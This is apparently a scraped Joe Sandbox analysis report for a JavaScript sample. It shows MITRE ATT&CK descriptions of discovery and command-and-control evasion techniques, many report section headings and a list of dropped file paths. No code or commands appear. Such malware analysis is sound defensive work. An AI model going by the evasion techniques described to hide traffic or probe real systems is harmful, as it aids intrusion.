Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2300831576502014589.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\89167799-84ce-4cd7-a54f-3755d7757040.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4620

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2300831576502014589.js